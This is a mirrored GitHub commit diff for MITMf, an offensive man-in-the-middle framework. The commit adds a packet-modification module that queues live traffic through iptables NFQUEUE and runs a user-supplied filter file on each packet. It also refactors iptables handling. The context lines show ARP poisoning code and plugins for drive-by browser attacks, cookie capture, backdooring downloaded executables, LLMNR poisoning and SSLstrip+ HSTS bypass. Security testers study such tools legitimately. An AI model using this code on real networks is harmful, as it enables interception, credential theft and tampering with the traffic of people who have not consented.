mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-07 13:32:18 -07:00
This commit adds active packet filtering/modification to the framework (replicates etterfilter functionality)
by using netfilterqueue, you can pass a filter using the new -F option, (will be adding an example later) additionaly removed some deprecated attributes and the --manual-iptables option
This commit is contained in:
parent
0add358a57
commit
7ec9f7b395
17 changed files with 99 additions and 53 deletions
14
README.md
14
README.md
|
@ -1,6 +1,6 @@
|
||||||

|

|
||||||

|

|
||||||

|

|
||||||
|
|
||||||
#MITMf
|
#MITMf
|
||||||
|
|
||||||
|
@ -56,22 +56,18 @@ How to install on Kali
|
||||||
|
|
||||||
Installation
|
Installation
|
||||||
============
|
============
|
||||||
If you're rocking Kali and want the latest version:
|
|
||||||
- Clone this repository
|
|
||||||
- Run the ```kali_setup.sh``` script (**Note: you can ignore any errors when ```pip``` tries to install dependencies, MITMf should be able to run anyway**)
|
|
||||||
|
|
||||||
If you're rocking any other Linux distro:
|
|
||||||
- Clone this repository
|
- Clone this repository
|
||||||
- Run the ```other_setup.sh``` script
|
- Run the ```setup.sh``` script
|
||||||
- Run the command ```pip install --upgrade mitmflib``` to install all Python dependencies
|
- Run the command ```pip install --upgrade -r requirements.txt``` to install all Python dependencies
|
||||||
|
|
||||||
FAQ
|
FAQ
|
||||||
===
|
===
|
||||||
- **Is Windows supported?**
|
- **Is Windows supported?**
|
||||||
- No, it will never be supported (so don't ask).
|
- Nope, don't think it will ever be
|
||||||
|
|
||||||
- **Is OSX supported?**
|
- **Is OSX supported?**
|
||||||
- Yes! Initial compatibility has been introduced in 0.9.8! Find anything broken submit a PR or open an issue ticket!
|
- Initial compatibility has been introduced in 0.9.8, still needs some testing, find anything broken submit a PR or open an issue ticket!
|
||||||
|
|
||||||
- **I can't install package X because of an error!**
|
- **I can't install package X because of an error!**
|
||||||
- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf.
|
- Try installing the package via ```pip``` or your distro's package manager. This *isn't* a problem with MITMf.
|
||||||
|
|
45
core/packetparser.py
Normal file
45
core/packetparser.py
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
import threading
|
||||||
|
|
||||||
|
from core.utils import set_ip_forwarding, iptables
|
||||||
|
from core.logger import logger
|
||||||
|
from scapy.all import *
|
||||||
|
from traceback import print_exc
|
||||||
|
from netfilterqueue import NetfilterQueue
|
||||||
|
|
||||||
|
formatter = logging.Formatter("%(asctime)s [PacketParser] %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
|
||||||
|
log = logger().setup_logger("PacketParser", formatter)
|
||||||
|
|
||||||
|
class PacketParser:
|
||||||
|
|
||||||
|
def __init__(self, filter):
|
||||||
|
self.filter = filter
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
set_ip_forwarding(1)
|
||||||
|
iptables().NFQUEUE()
|
||||||
|
|
||||||
|
self.nfqueue = NetfilterQueue()
|
||||||
|
self.nfqueue.bind(1, self.modify)
|
||||||
|
|
||||||
|
t = threading.Thread(name='packetparser', target=self.nfqueue.run)
|
||||||
|
t.setDaemon(True)
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def modify(self, pkt):
|
||||||
|
#log.debug("Got packet")
|
||||||
|
data = pkt.get_payload()
|
||||||
|
packet = IP(data)
|
||||||
|
|
||||||
|
try:
|
||||||
|
execfile(self.filter)
|
||||||
|
except Exception:
|
||||||
|
log.debug("Error occurred in filter")
|
||||||
|
print_exc()
|
||||||
|
|
||||||
|
pkt.set_payload(str(packet)) #set the packet content to our modified version
|
||||||
|
pkt.accept() #accept the packet
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
self.nfqueue.unbind()
|
||||||
|
set_ip_forwarding(0)
|
||||||
|
iptables().flush()
|
|
@ -175,7 +175,7 @@ class ARPpoisoner:
|
||||||
|
|
||||||
try:
|
try:
|
||||||
targetmac = self.arp_cache[targetip] # see if we already resolved that address
|
targetmac = self.arp_cache[targetip] # see if we already resolved that address
|
||||||
log.debug('{} has already been resolved'.format(targetip))
|
#log.debug('{} has already been resolved'.format(targetip))
|
||||||
except KeyError:
|
except KeyError:
|
||||||
#This following replaces getmacbyip(), much faster this way
|
#This following replaces getmacbyip(), much faster this way
|
||||||
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
|
packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip)
|
||||||
|
@ -211,7 +211,7 @@ class ARPpoisoner:
|
||||||
|
|
||||||
if targetmac is not None:
|
if targetmac is not None:
|
||||||
try:
|
try:
|
||||||
log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
|
#log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip))
|
||||||
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
|
self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode))
|
||||||
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
|
self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode))
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
|
|
|
@ -86,13 +86,15 @@ class ClientRequest(Request):
|
||||||
del headers['accept-encoding']
|
del headers['accept-encoding']
|
||||||
log.debug("Zapped encoding")
|
log.debug("Zapped encoding")
|
||||||
|
|
||||||
if 'if-none-match' in headers:
|
if self.urlMonitor.caching is False:
|
||||||
del headers['if-none-match']
|
|
||||||
|
|
||||||
if 'if-modified-since' in headers:
|
if 'if-none-match' in headers:
|
||||||
del headers['if-modified-since']
|
del headers['if-none-match']
|
||||||
|
|
||||||
headers['pragma'] = 'no-cache'
|
if 'if-modified-since' in headers:
|
||||||
|
del headers['if-modified-since']
|
||||||
|
|
||||||
|
headers['pragma'] = 'no-cache'
|
||||||
|
|
||||||
return headers
|
return headers
|
||||||
|
|
||||||
|
|
|
@ -50,6 +50,7 @@ class URLMonitor:
|
||||||
self.faviconReplacement = False
|
self.faviconReplacement = False
|
||||||
self.hsts = False
|
self.hsts = False
|
||||||
self.app = False
|
self.app = False
|
||||||
|
self.caching = False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def getInstance():
|
def getInstance():
|
||||||
|
@ -75,6 +76,9 @@ class URLMonitor:
|
||||||
else:
|
else:
|
||||||
return 443
|
return 443
|
||||||
|
|
||||||
|
def setCaching(self, value):
|
||||||
|
self.caching = value
|
||||||
|
|
||||||
def addRedirection(self, from_url, to_url):
|
def addRedirection(self, from_url, to_url):
|
||||||
for s in self.redirects:
|
for s in self.redirects:
|
||||||
if from_url in s:
|
if from_url in s:
|
||||||
|
|
|
@ -64,20 +64,23 @@ def get_mac(interface):
|
||||||
|
|
||||||
class iptables:
|
class iptables:
|
||||||
|
|
||||||
dns = False
|
dns = False
|
||||||
http = False
|
http = False
|
||||||
smb = False
|
smb = False
|
||||||
|
nfqueue = False
|
||||||
|
|
||||||
__shared_state = {}
|
__shared_state = {}
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__dict__ = self.__shared_state
|
self.__dict__ = self.__shared_state
|
||||||
|
|
||||||
def Flush(self):
|
def flush(self):
|
||||||
log.debug("Flushing iptables")
|
log.debug("Flushing iptables")
|
||||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||||
self.dns = False
|
self.dns = False
|
||||||
self.http = False
|
self.http = False
|
||||||
|
self.smb = False
|
||||||
|
self.nfqueue = False
|
||||||
|
|
||||||
def HTTP(self, http_redir_port):
|
def HTTP(self, http_redir_port):
|
||||||
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
log.debug("Setting iptables HTTP redirection rule from port 80 to {}".format(http_redir_port))
|
||||||
|
@ -93,3 +96,8 @@ class iptables:
|
||||||
log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
log.debug("Setting iptables SMB redirection rule from port 445 to {}".format(smb_redir_port))
|
||||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
|
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 445 -j REDIRECT --to-port {}'.format(smb_redir_port))
|
||||||
self.smb = True
|
self.smb = True
|
||||||
|
|
||||||
|
def NFQUEUE(self):
|
||||||
|
log.debug("Setting iptables NFQUEUE rule")
|
||||||
|
os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1')
|
||||||
|
self.nfqueue = True
|
||||||
|
|
|
@ -1,6 +0,0 @@
|
||||||
#!/usr/bin/env bash
|
|
||||||
|
|
||||||
git submodule init && git submodule update --recursive
|
|
||||||
apt-get install -y python-capstone python-twisted python-requests python-scapy python-dnspython python-cryptography python-crypto
|
|
||||||
apt-get install -y python-msgpack python-configobj python-pefile python-ipy python-openssl python-pypcap
|
|
||||||
pip install Pillow mitmflib
|
|
15
mitmf.py
15
mitmf.py
|
@ -54,11 +54,11 @@ sgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
||||||
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
sgroup.add_argument("--log-level", type=str,choices=['debug', 'info'], default="info", help="Specify a log level [default: info]")
|
||||||
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
|
sgroup.add_argument("-i", dest='interface', required=True, type=str, help="Interface to listen on")
|
||||||
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
|
sgroup.add_argument("-c", dest='configfile', metavar="CONFIG_FILE", type=str, default="./config/mitmf.conf", help="Specify config file to use")
|
||||||
sgroup.add_argument('-m', '--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
|
||||||
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
|
sgroup.add_argument("-p", "--preserve-cache", action="store_true", help="Don't kill client/server caching")
|
||||||
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
|
sgroup.add_argument("-l", dest='listen_port', type=int, metavar="PORT", default=10000, help="Port to listen on (default 10000)")
|
||||||
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
|
sgroup.add_argument("-f", "--favicon", action="store_true", help="Substitute a lock favicon on secure requests.")
|
||||||
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
|
sgroup.add_argument("-k", "--killsessions", action="store_true", help="Kill sessions in progress.")
|
||||||
|
sgroup.add_argument("-F", "--filter", type=str, help='Filter to apply to incoming traffic')
|
||||||
|
|
||||||
#Initialize plugins and pass them the parser NameSpace object
|
#Initialize plugins and pass them the parser NameSpace object
|
||||||
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
|
plugins = [plugin(parser) for plugin in plugin.Plugin.__subclasses__()]
|
||||||
|
@ -93,7 +93,6 @@ reactor.listenTCP(options.listen_port, strippingFactory)
|
||||||
|
|
||||||
ProxyPlugins().all_plugins = plugins
|
ProxyPlugins().all_plugins = plugins
|
||||||
|
|
||||||
#All our options should be loaded now, start initializing the plugins
|
|
||||||
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
|
print "[*] MITMf v{} - '{}'".format(mitmf_version, mitmf_codename)
|
||||||
for plugin in plugins:
|
for plugin in plugins:
|
||||||
|
|
||||||
|
@ -122,6 +121,13 @@ print "|_ Sergio-Proxy v0.2.1 online"
|
||||||
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
|
print "|_ SSLstrip v0.9 by Moxie Marlinspike online"
|
||||||
print "|"
|
print "|"
|
||||||
|
|
||||||
|
if options.filter:
|
||||||
|
from core.packetparser import PacketParser
|
||||||
|
pparser = PacketParser(options.filter)
|
||||||
|
pparser.start()
|
||||||
|
print "|_ PacketParser online"
|
||||||
|
print "| |_ Applying filter {} to incoming packets".format(options.filter)
|
||||||
|
|
||||||
#Start mitmf-api
|
#Start mitmf-api
|
||||||
from core.mitmfapi import mitmfapi
|
from core.mitmfapi import mitmfapi
|
||||||
print "|_ MITMf-API online"
|
print "|_ MITMf-API online"
|
||||||
|
@ -149,6 +155,9 @@ print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode
|
||||||
|
|
||||||
#start the reactor
|
#start the reactor
|
||||||
reactor.run()
|
reactor.run()
|
||||||
|
|
||||||
print "\n"
|
print "\n"
|
||||||
|
|
||||||
|
if options.filter:
|
||||||
|
pparser.stop()
|
||||||
|
|
||||||
shutdown()
|
shutdown()
|
|
@ -29,7 +29,6 @@ class AppCachePlugin(Plugin):
|
||||||
optname = "appoison"
|
optname = "appoison"
|
||||||
desc = "Performs App Cache Poisoning attacks"
|
desc = "Performs App Cache Poisoning attacks"
|
||||||
version = "0.3"
|
version = "0.3"
|
||||||
has_opts = False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
|
@ -30,7 +30,6 @@ class BrowserSniper(BrowserProfiler, Plugin):
|
||||||
optname = "browsersniper"
|
optname = "browsersniper"
|
||||||
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
|
desc = "Performs drive-by attacks on clients with out-of-date browser plugins"
|
||||||
version = "0.4"
|
version = "0.4"
|
||||||
has_opts = False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
|
@ -30,7 +30,6 @@ class FerretNG(Plugin):
|
||||||
optname = "ferretng"
|
optname = "ferretng"
|
||||||
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
desc = "Captures cookies and starts a proxy that will feed them to connected clients"
|
||||||
version = "0.1"
|
version = "0.1"
|
||||||
has_opts = True
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
|
|
|
@ -80,7 +80,6 @@ class FilePwn(Plugin):
|
||||||
desc = "Backdoor executables being sent over http using bdfactory"
|
desc = "Backdoor executables being sent over http using bdfactory"
|
||||||
tree_info = ["BDFProxy v0.3.2 online"]
|
tree_info = ["BDFProxy v0.3.2 online"]
|
||||||
version = "0.3"
|
version = "0.3"
|
||||||
has_opts = False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
|
|
|
@ -28,7 +28,6 @@ class Responder(Plugin):
|
||||||
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
desc = "Poison LLMNR, NBT-NS and MDNS requests"
|
||||||
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||||
version = "0.2"
|
version = "0.2"
|
||||||
has_opts = True
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
|
|
|
@ -23,12 +23,10 @@ class Spoof(Plugin):
|
||||||
optname = "spoof"
|
optname = "spoof"
|
||||||
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||||
version = "0.6"
|
version = "0.6"
|
||||||
has_opts = True
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
'''Called if plugin is enabled, passed the options namespace'''
|
'''Called if plugin is enabled, passed the options namespace'''
|
||||||
self.options = options
|
self.options = options
|
||||||
self.manualiptables = options.manualiptables
|
|
||||||
self.protocol_instances = []
|
self.protocol_instances = []
|
||||||
|
|
||||||
from core.utils import iptables, shutdown, set_ip_forwarding
|
from core.utils import iptables, shutdown, set_ip_forwarding
|
||||||
|
@ -74,18 +72,16 @@ class Spoof(Plugin):
|
||||||
from core.servers.dns.DNSchef import DNSChef
|
from core.servers.dns.DNSchef import DNSChef
|
||||||
|
|
||||||
self.tree_info.append('DNS spoofing enabled')
|
self.tree_info.append('DNS spoofing enabled')
|
||||||
if not options.manualiptables:
|
if iptables().dns is False:
|
||||||
if iptables().dns is False:
|
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
|
||||||
|
|
||||||
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||||
shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
shutdown("[Spoof] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||||
|
|
||||||
set_ip_forwarding(1)
|
set_ip_forwarding(1)
|
||||||
|
|
||||||
if not options.manualiptables:
|
if iptables().http is False:
|
||||||
if iptables().http is False:
|
iptables().HTTP(options.listen_port)
|
||||||
iptables().HTTP(options.listen_port)
|
|
||||||
|
|
||||||
for protocol in self.protocol_instances:
|
for protocol in self.protocol_instances:
|
||||||
protocol.start()
|
protocol.start()
|
||||||
|
@ -109,7 +105,6 @@ class Spoof(Plugin):
|
||||||
if hasattr(protocol, 'stop'):
|
if hasattr(protocol, 'stop'):
|
||||||
protocol.stop()
|
protocol.stop()
|
||||||
|
|
||||||
if not self.manualiptables:
|
iptables().flush()
|
||||||
iptables().Flush()
|
|
||||||
|
|
||||||
set_ip_forwarding(0)
|
set_ip_forwarding(0)
|
||||||
|
|
|
@ -25,25 +25,21 @@ class SSLstripPlus(Plugin):
|
||||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||||
version = "0.4"
|
version = "0.4"
|
||||||
tree_info = ["SSLstrip+ by Leonardo Nve running"]
|
tree_info = ["SSLstrip+ by Leonardo Nve running"]
|
||||||
has_opts = False
|
|
||||||
|
|
||||||
def initialize(self, options):
|
def initialize(self, options):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.manualiptables = options.manualiptables
|
|
||||||
|
|
||||||
from core.sslstrip.URLMonitor import URLMonitor
|
from core.sslstrip.URLMonitor import URLMonitor
|
||||||
from core.servers.dns.DNSchef import DNSChef
|
from core.servers.dns.DNSchef import DNSChef
|
||||||
from core.utils import iptables
|
from core.utils import iptables
|
||||||
|
|
||||||
if not options.manualiptables:
|
if iptables().dns is False:
|
||||||
if iptables().dns is False:
|
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
||||||
iptables().DNS(self.config['MITMf']['DNS']['port'])
|
|
||||||
|
|
||||||
URLMonitor.getInstance().setHstsBypass()
|
URLMonitor.getInstance().setHstsBypass()
|
||||||
DNSChef().setHstsBypass()
|
DNSChef().setHstsBypass()
|
||||||
|
|
||||||
def on_shutdown(self):
|
def on_shutdown(self):
|
||||||
from core.utils import iptables
|
from core.utils import iptables
|
||||||
if not self.manualiptables:
|
if iptables().dns is True:
|
||||||
if iptables().dns is True:
|
iptables().flush()
|
||||||
iptables().Flush()
|
|
||||||
|
|
2
requirements.txt
Normal file
2
requirements.txt
Normal file
|
@ -0,0 +1,2 @@
|
||||||
|
git+git://github.com/kti/python-netfilterqueue
|
||||||
|
mitmflib
|
Loading…
Add table
Add a link
Reference in a new issue